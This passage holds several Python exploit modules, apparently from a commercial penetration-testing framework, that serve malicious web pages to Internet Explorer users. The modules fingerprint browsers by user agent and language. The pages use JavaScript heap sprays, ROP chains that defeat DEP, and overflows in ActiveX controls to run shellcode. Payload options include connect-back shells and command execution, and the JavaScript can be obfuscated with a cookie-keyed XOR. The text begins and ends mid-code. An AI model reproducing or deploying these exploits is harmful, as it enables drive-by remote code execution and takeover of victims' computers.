"%s"; </script> <iframe src="%s"></iframe> </body> </html> """ % (wp_randomstring(1), self.filename2) return filedata def makefile2(self): filedata = """<html> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("%s"); parent.arrr[0].src = "%s\\u0c08\\u0c0c%s"; } </script> <body onload='funcB();' onselect='funcA()'> <div contenteditable='true'> . </div> </body> </html> """ % (wp_randomstring(1), wp_randomstring(4), wp_randomstring(58)) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif clientheader.URL.count(self.filename2): self.log('WP> Serving Exploit Stage 2') data = self.makefile2() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): self.log('WP> This module must be run via HTTPSERVER') return 0
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True self.isClientD = False self.badstring = "\x00" #Ranomisze name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self): # Make the exploit file #Base filedata filedata="""<html><body> <object classid="clsid:39344399-FEF9-467E-835E-B994B021DEB6"></object> """ filedata += """<script language="JavaScript">""" #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); var heapspray = unescape("%u6e1f%u7c36%u10FD%u7c34"); var len= shellcode.length + 0x21; //0x21 is heap header while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- length); depbypass = unescape("%u4cc2%u7c34") depbypass = depbypass + unescape("%u4cc2%u7c34") depbypass = depbypass + unescape("%u1920%u7c34") // POP ESI depbypass = depbypass + unescape("%ub2f8%u7c38") // 7c38b308-10 Value that points to a writeable ptr space depbypass = depbypass + unescape("%u7618%u7c34") // PUSH ESP,POP depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%ua458%u7c34") // VirtualAlloc depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u07d0%u0000") // Size 7d0 depbypass = depbypass + unescape("%u1000%u0000") // Type depbypass = depbypass + unescape("%u0040%u0000") // Protect depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u5c30%u7c34") // push esp,ret heapspray= heapspray + depbypass + shellcode; try{ for(var i = 0; i < 3000; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace('SHELLCODE',wp_urluencode(self.shellcode + ("\x00" * 100))) #Obfuscate the script code (disabled for this exploit) self.isClientD=False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:A2282403-50DE-4A2E-A118-B90AEDB1ADCC"></object> </body> </html> """ return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile() if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') self.log('WP> ****************************************') return h,b def run(self): filedata=self.makefile() self.log("WP> Opening %s for output"%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(self.filename)) return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version=0 self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.language = "" #"en-us" # uncomment this to default to English version self.plugin_info = None # we want clientd to give us a plugin dict #HTTPMOSDEF shellcode is 2100 bytes or so - our shellcode space is 2044 or so. #XXX: We need to switch to SearchCode? self.nohttpmosdef = True return # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE6". """ if "MSIE 6" in info_dict['user_agent']: #found language, and is IE6 #high value because it is reliable and recent, will works on XP self.log("Found vulnerable target") return 90 else: self.log("Not IE 6 - possibly vulnerable, but not to this exploit") self.log("User Agent: %s"%info_dict.get("user_agent")) #not ie 6 or we don't have the language return 0 def makefile(self, request_header=None): """ Makes the exploit HTML """ self.getArgs() if request_header: self.log("Checking IE version from Request Header") if "MSIE 6" in request_header.getHeaderValue("User-Agent"): self.log("IE 6 detected") else: self.log("Not IE 6, try with other exploit") return "" if not hasattr(self, "shellcode") or not self.shellcode: self.log("Regenerating shellcode in makefile") self.createShellcode() filedata="""<html> <body> <script language="JavaScript"> """ script = """ function spray() { var array = new Array(); var ls = 0x7F0000; var shellcode = unescape("%u9090%u9090%u9090") + unescape("SHELLCODE"); var t = unescape("%u0d0d"); var b = unescape("%u0d0d"); while(b.length < (0x7fc-shellcode.length)) { b+=t; } b = b + shellcode; b = b.substring(0,b.length); while(b.length < ls/2) { b += b } var lh = b.substring(0,ls/2); delete b; for(i=0;i<270;i++) { array[i] = lh + lh + shellcode; } return array; } function hexa(val) { var str=new Number(val).toString(16); while (str.length < 4) str = "0" + str; return str; } function myescape(addr) { var str=""; str="%u"+hexa(addr&0xffff)+"%u"+hexa((addr>>16)&0xffff); return str; } function build_exploit() { sp = spray(); document.write("<table style=position:absolute;clip:rect(0)>"); } build_exploit() """ script = script.replace('SHELLCODE',urluencode(self.shellcode)) filedata += self.jsObfuscator.obfuscate(script) filedata += """ </script> </body> </html> """ return filedata # 0x75c9c2b9 def makesploit(self,clientheader,clientbody): from libs.spkproxy import header,body h=header('SERVER') b=body() if self.plugin_info: info_dict=self.plugin_info self.log("We got a plugin info for this target - thanks clientd!") if self.is_vulnerable(self.plugin_info): self.log("This client is most likely vulnerable!") #check for IE 6 if info_dict['user_agent'].count('MSIE 6'): self.msie6 = True else: self.msie6 = False else: self.log("Bailing on this client as it is not likely to be vulnerable (%s)"%self.plugin_info.get("language")) return None, None if clientheader.URL.count(self.filename): self.log('Serving HTML file') self.createShellcode() sploitstring=self.makefile(request_header = clientheader) b.setBody(sploitstring) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host=self.target.interface self.getarg("filename") self.getarg("language") return def run(self): self.getArgs() # Build the html that triggers the vulnerability filedata=self.makefile() self.log('Opening %s for output'%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('Wrote to %s'%(self.filename)) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS = ["IE Inject Connect Back", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.filename2 = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self, browser, osversion): if osversion == "Windows XP": if browser == "MSIE 7.0": self.log('WP> Serving Windows XP IE7 exploit') return self.makefileIE7_XP() self.log('WP> Invalid target') return def makefileIE7_XP(self): payload = "\x8B\xE0" # MOV ESP,EAX payload += "\x83\xC4\x05" # ADD ESP,05 payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") #script code script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += self.maketrigger() return filedata def maketrigger(self): filedata = """</script> <body> <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='target'></object> <script> target.StopModule(%s); </script> </body> </html> """ % ((0x0c0c0c0c / 0x134)) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): self.log('WP> This module must be run via HTTPSERVER') return 0
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = "\x00\x09\x0d\x20\xff" #Randomize name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Make the exploit file #Base filedata filedata = """<html><body> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAXXXXXXXX"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://AAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> """ filedata += """<script language="JavaScript">""" script = wp_clientside_HeapLib() #script code script += """ var heap = new heapLib.ie(0x40000); heap.gc(); // Fill the heap of this size // XPS2/3 is size of 0x2c8 // The beginnng objects are to clear the lookaside and freelist for the exact size. for (var i = 0; i < 1000; i++) heap.alloc(0x2C0); var size=0x2d0; // Alloc some blocks freelist[5b] heap.alloc(size); heap.alloc(size, "freeList1"); heap.alloc(size); heap.alloc(size, "freeList2"); heap.alloc(size); heap.alloc(size, "freeList3"); heap.alloc(size); heap.alloc(size, "freeList4"); heap.alloc(size); heap.alloc(size, "freeList5"); heap.alloc(size); // Fill the lookaside heap.lookaside(size, 4) // Add to freelist [5b] heap.free("freeList1") heap.free("freeList2") heap.free("freeList3") heap.free("freeList4") heap.free("freeList5") shellcode = unescape("SHELLCODE"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode; """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAXXXXXXXX"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"/> </object> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA"/> </object> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s for output" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '\0' #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Exploit file landingAddress = pack('<L', 0x126A10C0) # Build our heapspray repeated block heapspraycode = pack('<L', 0x516116E3) # pop,retn 0c (For sliding) heapspraycode += pack('<L', 0x5161385C) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x516116E3) 